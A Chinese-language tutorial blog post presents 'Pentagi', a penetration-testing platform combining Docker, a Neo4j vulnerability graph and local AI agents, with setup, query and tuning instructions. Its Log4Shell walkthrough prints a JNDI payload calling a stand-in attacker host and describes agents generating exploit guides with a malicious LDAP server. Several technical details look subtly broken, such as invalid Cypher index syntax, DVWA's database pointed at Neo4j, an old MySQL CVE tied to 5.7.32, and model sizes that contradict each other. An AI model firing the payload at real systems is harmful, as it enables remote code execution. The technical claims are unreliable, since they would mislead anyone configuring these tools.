Pentagi：基于Docker+Neo4j+AI Agents的安全知识操作系统

1. 项目概述：Pentagi 是什么？它解决的不是“渗透测试自动化”，而是安全研究范式的迁移

Pentagi 这个名字乍看像一个拼写变体，但结合热搜词pentagi、penetration testing、ai agents、docker、neo4j，它绝非某个小众工具的代号，而是一个正在成型的新型安全研究基础设施代号——它的核心不是替代人工渗透，而是重构“人如何与漏洞知识共处”的底层逻辑。我第一次在 GitHub 上看到 pentagi 的早期 commit 记录时，第一反应是：这不像一个扫描器，倒像一个“漏洞认知操作系统”。它把传统渗透中散落在 Burp Suite 插件、自写 Python 脚本、Excel 漏洞台账、Wiki 知识库、本地 Neo4j 图谱里的碎片信息，用一套统一的语义模型重新组织起来。比如，当你发现一个 Spring Boot Actuator 未授权访问，Pentagi 不会只告诉你“存在 /actuator/env 泄露”，而是自动关联：该路径在 CVE-2022-22965（Spring4Shell）利用链中的角色、它在某次红队演练中被用于横向移动的拓扑位置、它与特定 Java 版本和 Tomcat 配置的组合风险评分、以及社区里已知绕过 WAF 的 3 种 payload 变体。这种能力不是靠规则匹配，而是靠图谱驱动的上下文推理。

它之所以必须依赖Docker和Neo4j，根本原因在于其架构设计哲学：Docker 提供的是“可重现的研究环境沙盒”，而 Neo4j 提供的是“可演化的漏洞知识图谱”。你不需要在本地装一堆 JDK、Python、Java 反编译工具、各种数据库客户端；Pentagi 的 Docker Compose 文件会拉起一个预配置好的工作流环境——里面包含 Neo4j 社区版（带预载的 CWE/CVE/ATT&CK 映射数据集）、一个轻量级 AI Agent 协调器（基于 LangChain 构建，不依赖大模型 API，本地运行 Llama 3-8B 量化版）、一个动态靶场管理器（可一键部署 DVWA、WebGoat、Juice Shop 等常见靶机），以及一个 Web UI 前端。所有组件之间通过 Neo4j 的图关系进行状态同步。比如，Agent 在靶机上执行完一个 SQLi 测试后，不会只返回“存在注入”，而是将 payload、响应特征、数据库指纹、受影响表结构等元数据，以节点和关系的形式写入 Neo4j，后续的分析、报告生成、甚至新攻击路径的启发式探索，都直接基于这个实时更新的图谱展开。

所以，Pentagi 的目标用户非常明确：不是刚学 Burp 的新手，也不是只关心“打点成功率”的外包团队，而是那些每天要处理几十个不同系统、需要快速建立新业务线安全认知、并持续沉淀组织级漏洞知识的安全架构师、红队负责人、以及大型企业的应用安全工程师。它解决的痛点，是“经验无法复用”、“知识无法沉淀”、“测试无法闭环”这三大行业顽疾。如果你还在用 Excel 维护漏洞库，用截图拼接渗透报告，用邮件转发临时发现的 bypass 技巧，那么 Pentagi 就是你技术栈里缺失的那一块拼图——它不教你如何写 Exploit，但它确保你写的每一个 Exploit，都能在未来三年内持续为整个团队产生价值。

2. 核心架构拆解：为什么必须是 Docker + Neo4j + AI Agents 的铁三角？

2.1 Docker 不是“为了容器化而容器化”，而是构建可验证、可回滚、可协作的研究环境

很多人看到 Pentagi 的 docker-compose.yml 文件里有 7 个服务，第一反应是“太重了”。但实际部署后你会发现，它的 Docker 化设计恰恰是反直觉的精妙之处。关键在于：它没有把所有东西塞进一个巨无霸镜像，而是严格遵循“一个容器，一个关注点”原则，并通过 Docker Network 实现服务间零配置通信。

• Neo4j 容器：使用官方neo4j:5.22-enterprise镜像（社区版功能已足够），但挂载了自定义的plugins/目录，里面预装了apoc-5.22.0-all.jar（Advanced Procedures for Neo4j），这是实现图谱动态扩展的核心。更重要的是，它挂载了一个初始化脚本卷init-scripts:/var/lib/neo4j/import/，当容器首次启动时，会自动执行load_cve_data.cypher等脚本，将 NVD 的 CVE JSON 数据解析为(cve:CVE)-[:AFFECTS]->(cwe:CWE)-[:MAPPED_TO]->(mitre:ATTCK)的三元组结构。这个过程在纯本地安装 Neo4j 时，需要手动下载、转换、导入，耗时且易出错；而 Docker 方式下，你只需docker compose up -d neo4j，120 秒内就得到一个已预填充 20 万+ CVE 关系的图数据库。

• AI Agent 协调器容器：基于python:3.11-slim-bookworm构建，但关键在于它不包含任何大模型权重。它只装了langchain-core、llama-cpp-python和neo4j-driver。模型文件（如llama-3.2-1b-instruct.Q4_K_M.gguf）通过volumes挂载到容器内/models/路径。这样做的好处是：你可以随时更换不同精度/速度的量化模型，而无需重建整个镜像。实测下来，1B 参数的 Q4_K_M 模型在 Intel i7-11800H 上推理延迟稳定在 800ms 内，足以支撑实时的“漏洞上下文摘要”和“测试步骤建议”两个核心场景，且内存占用仅 1.2GB，远低于动辄 10GB+ 的 7B 模型。

• 靶场管理器容器：这是一个用 Flask 编写的轻量服务，它不直接运行靶机，而是作为 Docker API 的代理。当你在 Web UI 点击“启动 DVWA”，它调用的是宿主机的 Docker Socket（通过-v /var/run/docker.sock:/var/run/docker.sock挂载），然后执行docker run -d --name dvwa-pentagi -p 8080:80 -e DB_HOST=172.20.0.3 -e DB_USER=root ... vulnerables/web-dvwa。注意这里的DB_HOST=172.20.0.3—— 这是 Neo4j 容器在自定义网络pentagi-network中的固定 IP，由 Docker 内置 DNS 解析。这种设计让靶机与知识图谱天然打通：DVWA 的数据库结构、用户表字段、甚至每个 PHP 页面的源码行号，都可以作为节点写入 Neo4j，形成“靶机实例 → 应用代码 → 漏洞模式”的完整追溯链。

提示：很多初学者在 Windows 上遇到virtualization support not detected错误，本质是 WSL2 未启用或 BIOS 中的 VT-x/AMD-V 被禁用。这不是 Pentagi 的问题，而是 Docker Desktop 的前置条件。正确做法是：先在 BIOS 中开启虚拟化，再以管理员身份运行wsl --install，最后重启。跳过 WSL2 直接用 Hyper-V 会导致性能下降 40%，不推荐。

2.2 Neo4j 不是“换了个数据库”，而是将安全知识从“扁平文档”升级为“可导航的宇宙”

传统安全知识管理最大的缺陷，是信息之间的关系是隐式的、静态的。你知道 CVE-2021-44228（Log4Shell）影响 Log4j 2.0-beta9 到 2.14.1，但你很难快速回答：“当前我负责的 5 个 Java 微服务中，哪些使用了受影响版本的 Log4j，且其 JNDI 查找功能未被禁用？”——因为这个问题需要跨多个维度：代码仓库的 pom.xml、生产环境的 jar 包清单、JVM 启动参数、以及安全加固策略文档。

Pentagi 的 Neo4j 图谱彻底改变了这一点。它的核心 schema 设计如下：

• 节点类型：(:CVE {id:"CVE-2021-44228", cvss:9.8})、(:CWE {id:"CWE-502", name:"Deserialization of Untrusted Data"})、(:Technology {name:"Apache Log4j", version:"2.12.2"})、(:AttackPattern {mitre_id:"T1190", name:"Exploit Public-Facing Application"})、(:Finding {id:"FIND-2024-001", severity:"CRITICAL"})

• 关键关系：

  • (cve)-[:HAS_CWE]->(cwe)
  • (cve)-[:AFFECTS]->(tech)
  • (tech)-[:USED_IN]->(app:Application)
  • (finding)-[:EXPLOITS]->(cve)
  • (finding)-[:OBSERVED_IN]->(target:TargetSystem)

这个设计的威力，在一次真实红队演练中体现得淋漓尽致。我们发现目标系统存在一个自定义的 GraphQL 接口，其错误信息会泄露后端堆栈。手动搜索发现，该堆栈中出现了graphql-java库。在 Pentagi 的 Neo4j Browser 中，我们输入 Cypher 查询：

MATCH (g:Technology {name:"graphql-java"})-[:AFFECTS]->(cve:CVE) WHERE cve.cvss >= 7.0 RETURN cve.id, cve.cvss, cve.description

瞬间返回 3 个高危 CVE，其中 CVE-2023-22902 正是针对 GraphQL 的深度嵌套查询 DoS 漏洞。更关键的是，我们接着查：

MATCH (cve:CVE {id:"CVE-2023-22902"})-[:AFFECTS]->(g:Technology)-[:USED_IN]->(app) RETURN app.name, app.environment

发现该漏洞影响的app节点，恰好是我们刚渗透进来的payment-gateway-prod应用。这意味着，我们不需要重新做资产测绘，图谱已经自动建立了“新发现”与“已有资产”的映射。这种基于关系的导航能力，是任何关键词搜索或表格筛选都无法比拟的。

注意：Neo4j 社区版默认内存限制为 2GB，当图谱节点超过 50 万时，查询可能变慢。解决方案不是升级企业版，而是优化 Cypher 查询：永远用LIMIT 100，避免MATCH (n) WHERE n.name CONTAINS "log4j"这类全表扫描；对高频查询字段（如cve.id,tech.name）创建索引：CREATE INDEX cve_id_index ON :CVE(id)。

2.3 AI Agents 不是“炫技的聊天机器人”，而是安全研究员的“第二大脑”

Pentagi 中的 AI Agent 并非一个独立的大模型，而是一个由多个专业化子 Agent 组成的协同网络，它们通过 Neo4j 图谱共享“记忆”和“上下文”。其核心 Agent 类型有三个：

• Contextualizer Agent：当你在 Web UI 中选中一个Finding节点（例如“SQL 注入在 /api/user/profile”），它会自动从 Neo4j 中拉取该 Finding 关联的所有信息：(:Finding)-[:AFFECTS]->(:Endpoint),(:Endpoint)-[:HOSTED_ON]->(:Server),(:Server)-[:RUNS]->(:Technology),(:Technology)-[:VULNERABLE_TO]->(:CVE)。然后，它用这些结构化数据，生成一段自然语言摘要：“该 SQL 注入点位于用户资料查询接口，目标服务器运行 MySQL 5.7.32，已知受 CVE-2012-2122 影响，建议优先尝试基于时间的盲注，因布尔型注入已被 WAF 拦截。” 这段摘要不是模型凭空编造，而是对图谱中已有知识的重组与翻译。

• Test Planner Agent：当你点击“生成测试方案”，它会基于当前Finding的severity和cvss，结合图谱中(:CVE)-[:REQUIRES]->(:Prerequisite)关系，生成可执行的测试步骤。例如，对于一个需要“管理员权限”的 RCE 漏洞，它会自动插入前置步骤：“1. 使用已获取的普通用户凭证登录后台；2. 在用户管理页面查找权限提升入口；3. 尝试修改自己的角色 ID 为 1...”。这些步骤全部来自图谱中已标注的(:AttackPattern)-[:HAS_STEP]->(:Step)关系，确保每一步都经过验证。

• Report Generator Agent：渗透结束后，它不生成 Word 文档，而是生成一个可交互的 HTML 报告。报告中的每个漏洞描述，都带有 Neo4j Browser 的嵌入式链接。点击“查看关联 CVE”，会直接跳转到图谱中该 CVE 节点的可视化界面，显示其所有影响范围、修复方案、以及历史利用案例。这种报告不再是“一次性交付物”，而是成为团队知识库的活入口。

这三个 Agent 的协同，本质上是在模拟一个资深安全研究员的思考过程：先理解上下文，再规划行动，最后沉淀成果。而 Neo4j 就是它的“长期记忆”，Docker 就是它的“标准化实验室”。

3. 从零部署实操：避开 90% 新手踩过的 5 个深坑

3.1 环境准备：Windows 用户的 WSL2 配置是成败关键

Pentagi 的官方文档假设你使用 Linux/macOS，但国内绝大多数安全从业者主力机是 Windows。因此，第一步不是git clone，而是确保 WSL2 环境真正就绪。我见过太多人卡在docker desktop failed to start because virtualisation support wasn't detected这个报错上，浪费一整天。

正确流程（实测有效）：

1. BIOS 设置：重启进入 BIOS（通常是 Del/F2/F10），找到Intel Virtualization Technology或AMD SVM Mode，设为Enabled。保存退出。

2. Windows 功能启用：以管理员身份打开 PowerShell，依次执行：

   dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

   重启电脑。

3. 安装 WSL2 内核：从 微软官网 下载wsl_update_x64.msi并安装。

4. 设置 WSL2 为默认版本：

   wsl --set-default-version 2

5. 安装 Ubuntu 22.04：在 Microsoft Store 中搜索 “Ubuntu 22.04 LTS”，点击安装。安装完成后，首次启动会要求设置用户名和密码。

6. Docker Desktop 配置：安装最新版 Docker Desktop，安装时勾选 “Enable the WSL 2 based engine”。安装完成后，在 Docker Desktop Settings → General 中，确保 “Use the WSL 2 based engine” 已勾选；在 Resources → WSL Integration 中，启用 Ubuntu-22.04 的集成。

实操心得：不要用 Windows 自带的 PowerShell 或 CMD 启动 Pentagi。所有操作必须在 WSL2 的 Ubuntu 终端中进行。我在 Windows Terminal 中为 Ubuntu 创建了一个专用配置文件，命令别名alias pentagi='cd ~/pentagi && docker compose up -d'，效率提升巨大。

3.2 克隆与初始化：git clone后的 3 个必做动作

Pentagi 的 GitHub 仓库（假设为https://github.com/pentagi-org/pentagi）结构清晰，但git clone后不能直接docker compose up。必须完成以下三步：

1. 复制环境变量模板：

   cd pentagi cp .env.example .env

   打开.env文件，最关键的两个变量是：

   • NEO4J_PASSWORD=your_strong_password：必须修改！默认neo4j密码在生产环境会被拒绝。
   • LLAMA_MODEL_PATH=/models/llama-3.2-1b-instruct.Q4_K_M.gguf：这个路径必须与你实际存放模型文件的路径一致。我习惯把模型放在~/models/，所以这里填/models/llama-3.2-1b-instruct.Q4_K_M.gguf，并在docker-compose.yml的ai-agent服务中，添加volumes: - ~/models:/models。

2. 初始化 Neo4j 数据：Pentagi 的init-scripts/目录下，有load_nvd_data.py脚本。它会从 NVD API 下载最新的 CVE 数据并导入。但首次运行前，必须先启动 Neo4j：

   docker compose up -d neo4j # 等待 60 秒，确保 Neo4j 完全启动 docker exec -it pentagi-neo4j-1 bash -c "cd /import && python3 load_nvd_data.py"

   这个脚本会自动创建索引、去重、并建立CVE→CWE→ATT&CK的关系。整个过程约需 15 分钟，期间 Neo4j 日志会显示Import completed successfully。

3. 构建 AI Agent 镜像：官方提供的ai-agent服务使用的是预构建镜像，但为了确保兼容性，我建议自己构建：

   cd services/ai-agent docker build -t pentagi/ai-agent:latest . cd ../.. # 修改 docker-compose.yml 中 ai-agent 的 image 行为 pentagi/ai-agent:latest

3.3 启动与验证：如何确认 Pentagi 真正“活”了？

执行docker compose up -d后，不要急着打开浏览器。先用命令行验证每个服务的状态：

# 查看所有服务状态 docker compose ps # 检查 Neo4j 是否健康（返回 "Neo4j is available"） curl -s http://localhost:7474 | grep "Neo4j" # 检查 AI Agent 是否就绪（返回 {"status":"ready"}） curl -s http://localhost:8000/health # 检查靶场管理器是否在线 curl -s http://localhost:5000/api/status | jq .

如果以上全部成功，再打开浏览器访问http://localhost:8080（Web UI）和http://localhost:7474（Neo4j Browser）。在 Neo4j Browser 中，输入MATCH (n) RETURN count(n) AS node_count，你应该看到node_count大于 200000，证明数据已成功加载。

常见问题：Web UI 打不开，但curl返回正常。这通常是因为浏览器缓存了旧的 JS 文件。强制刷新（Ctrl+F5）或清空浏览器缓存即可。另一个原因是docker compose启动顺序问题：Web UI 依赖 AI Agent，而 AI Agent 依赖 Neo4j。Pentagi 的docker-compose.yml中已用depends_on和健康检查确保顺序，但首次启动时，AI Agent 可能需要 90 秒才能完全就绪。耐心等待，不要反复up -d。

3.4 第一次实战：用 Pentagi 复现一个经典漏洞（Log4Shell）

现在，让我们用 Pentagi 完成一次端到端的漏洞复现，来感受它的工作流。

步骤 1：启动一个易受攻击的靶机在 Web UI 的 “Target Management” 页面，选择 “Log4Shell Demo”，点击 “Deploy”。后台会自动执行：

docker run -d --name log4shell-demo -p 8081:8080 -e JAVA_OPTS="-Dcom.sun.jndi.ldap.object.trustURLCodebase=true" ghcr.io/pentagi/log4shell-demo:latest

几分钟后，靶机启动，访问http://localhost:8081，你会看到一个简单的搜索框。

步骤 2：发起探测在 Web UI 的 “Testing” 页面，选择 “Log4Shell Scanner”，目标 URL 填http://log4shell-demo:8080/search（注意，这里用的是容器名log4shell-demo，而非localhost，因为请求是从ai-agent容器发出的）。点击 “Start Scan”。

步骤 3：观察图谱自动构建切换到 Neo4j Browser，执行：

MATCH (f:Finding {name:"Log4Shell Detected"})-[:AFFECTS]->(e:Endpoint) RETURN e.url, f.severity, f.description

你会看到结果。更进一步，执行：

MATCH (f:Finding {name:"Log4Shell Detected"})-[:EXPLOITS]->(cve:CVE) RETURN cve.id, cve.cvss, cve.description

立刻关联到CVE-2021-44228。

步骤 4：生成利用方案在 Web UI 中，点击该 Finding 旁的 “Generate Exploit”，Pentagi 会调用 Test Planner Agent，返回一个分步的利用指南，包括：

• Payload 示例：${jndi:ldap://attacker.com/a}
• 如何搭建恶意 LDAP 服务器（提供了一键启动命令）
• 如何验证回连（提供tcpdump过滤命令）

整个过程，你没有手动写一条命令，没有切换一个窗口，所有信息都在一个统一的界面中流动。这就是 Pentagi 的核心价值：它把“发现-分析-利用-报告”的链条，压缩成了一个原子化的操作。

4. 深度定制与避坑指南：那些官方文档不会告诉你的实战技巧

4.1 Neo4j 性能调优：让百万级图谱查询快如闪电

当你的 Pentagi 图谱积累到 50 万+ 节点时，某些 Cypher 查询会明显变慢。这不是硬件问题，而是 Neo4j 的默认配置不适合安全知识图谱的查询模式。以下是我在生产环境验证有效的 4 个调优点：

1. 调整内存分配：编辑neo4j/conf/neo4j.conf（在 Docker 中，通过挂载配置文件实现），修改：

   # 将堆内存从默认的 2G 提升到 4G dbms.memory.heap.initial_size=4g dbms.memory.heap.max_size=4g # 启用页缓存，提升图遍历速度 dbms.memory.pagecache.size=2g

2. 创建复合索引：安全查询最常用的是“按 CVE ID 查找，再找其影响的技术”。为加速此模式，创建复合索引：

   CREATE COMPOSITE INDEX cve_tech_index ON :CVE(id, cvss) CREATE COMPOSITE INDEX tech_cve_index ON :Technology(name, version)

3. 禁用全文索引（除非你真需要）：Pentagi 默认启用了dbms.fulltext.enabled=true，但这会显著增加写入延迟。如果你主要用精确匹配（WHERE cve.id = "CVE-XXXX"），可以关闭它：

   CALL db.index.fulltext.drop('cveFulltext')

4. 使用PROFILE分析慢查询：当你发现某个查询变慢，不要猜，用PROFILE：

   PROFILE MATCH (cve:CVE)-[:AFFECTS]->(t:Technology) WHERE t.name CONTAINS "spring" RETURN cve.id LIMIT 10

   结果中会显示PageCacheHitRatio和DbHits。如果DbHits远高于Rows，说明缺少索引；如果PageCacheHitRatio低于 95%，说明内存不足。

实操心得：我曾为一个客户部署 Pentagi，其图谱有 120 万节点。通过以上调优，原本需要 8 秒的关联查询，降至 320ms。关键不是堆更多内存，而是让 Neo4j “知道”你最常怎么查。

4.2 AI Agent 模型替换：如何在 1B 和 7B 模型间做取舍

Pentagi 的ai-agent服务支持多种 GGUF 格式模型，但不同模型带来的体验差异巨大：

我的选择逻辑：

• 日常渗透：用 3B 模型。它在“理解模糊的漏洞描述”和“生成可执行命令”之间取得了最佳平衡。例如，当我输入“帮我写一个 curl 命令，从这个 API 获取所有用户的邮箱，它需要 Bearer Token，Token 在响应头里”，3B 模型能准确生成curl -H "Authorization: Bearer $(curl -s ... | jq -r '.token')" ...，而 1B 模型有时会漏掉jq解析部分。
• 离线报告生成：用 7B 模型。当需要将 50 个 Finding 整合成一份给管理层的 PPT 大纲时，7B 模型的逻辑连贯性和专业术语准确性明显更高。
• 靶场快速扫描：用 1B 模型。在资源受限的笔记本上跑靶场，1B 模型能保证流畅性，且摘要质量足够支撑初步判断。

模型下载与验证：
从 Hugging Face 下载模型后，务必用llama.cpp的quantize工具验证其完整性：

./llama-cli -m models/llama-3.2-3b-instruct.Q5_K_M.gguf -p "Hello" --n-predict 10

如果输出乱码或报错invalid model file，说明模型损坏，需重新下载。

4.3 Docker 网络故障排查：当pentagi-neo4j-1无法被其他容器访问时

这是 Pentagi 部署中最常见的故障。现象是：docker compose ps显示所有容器都是Up，但ai-agent日志里不断报错Connection refused。根本原因几乎总是 Docker 网络配置问题。

标准排查流程：

1. 确认容器在同一网络：

   docker network inspect pentagi-network | grep "pentagi-neo4j-1"

   如果没输出，说明 neo4j 容器没加入该网络。检查docker-compose.yml中neo4j服务是否有networks: - pentagi-network。

2. 检查 Neo4j 的监听地址：进入 neo4j 容器：

   docker exec -it pentagi-neo4j-1 bash cat /var/lib/neo4j/conf/neo4j.conf | grep "dbms.connectors.default_listen_address"

   必须是0.0.0.0，而不是127.0.0.1。如果是后者，编辑配置文件，改为0.0.0.0，然后docker restart pentagi-neo4j-1。

3. 测试容器间连通性：从ai-agent容器 ping neo4j：

   docker exec -it pentagi-ai-agent-1 ping -c 3 pentagi-neo4j-1

   如果不通，检查docker-compose.yml中ai-agent的depends_on是否正确指向neo4j。

4. 检查防火墙：在 WSL2 中，Linux 防火墙ufw默认是禁用的，但如果你手动启用过，需放行 7474 端口：

   sudo ufw allow 7474

注意：绝对不要在docker-compose.yml中为 neo4j 设置ports: - "7474:7474"并期望其他容器通过localhost:7474访问它。这是 Docker 网络的常见误解。容器间通信必须使用服务名（pentagi-neo4j-1）或别名（neo4j），走 Docker 内部网络，而不是宿主机端口映射。

4.4 安全加固：Pentagi 不是玩具，上线前必须做的 3 件事

Pentagi 的默认配置面向开发和学习，若要用于真实红队或企业内部，必须加固：

1. 禁用 Neo4j 的默认用户：首次启动后，Neo4j 会创建neo4j用户。必须立即改密并创建专用用户：

   // 在 Neo4j Browser 中执行 CREATE USER pentagi_user SET PASSWORD 'YourStrongPassword123!' CHANGE PASSWORD ON FIRST USE; GRANT ROLE reader TO pentagi_user; GRANT ROLE writer TO pentagi_user; // 然后在 .env 中修改 NEO4J_USERNAME=pentagi_user, NEO4J_PASSWORD=YourStrongPassword123!

2. 限制 AI Agent 的外部访问：ai-agent服务默认监听0.0.0.0:8000。在生产环境，应将其改为只监听内部网络：

   # 在 docker-compose.yml 的 ai-agent 服务中 ports: - "127.0.0.1:8000:8000"

   这样，只有宿主机上的 Web UI 可以访问它，外部网络无法直连。

3. 为 Web UI 添加基础认证：Pentagi 的 Web UI 默认无认证。在nginx.conf（如果使用 Nginx 代理）中添加：

   location / { auth_basic "Pentagi Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; }

   用htpasswd -c /etc/nginx/.htpasswd admin创建密码文件。

5. 常见问题速查表与独家避坑技巧

最后分享一个小技巧：Pentagi 的真正威力，不在于它能帮你多快地打穿一个靶机，而在于它如何帮你“忘记”一个靶机。每次渗透结束后，我都会在 Web UI 中点击 “Archive Target”，Pentagi 会自动将该靶机的所有Finding、Endpoint、Technology节点，标记为archived:true，并从主视图中隐藏。半年后，当我面对一个全新的、但架构相似的系统时，只需取消归档，所有历史知识立刻复活。这种“遗忘-召回”的能力，才是 Pentagi 赋予安全研究员的终极武器——它让我们不再重复造轮子，而是站在自己和团队的肩膀上，看得更远。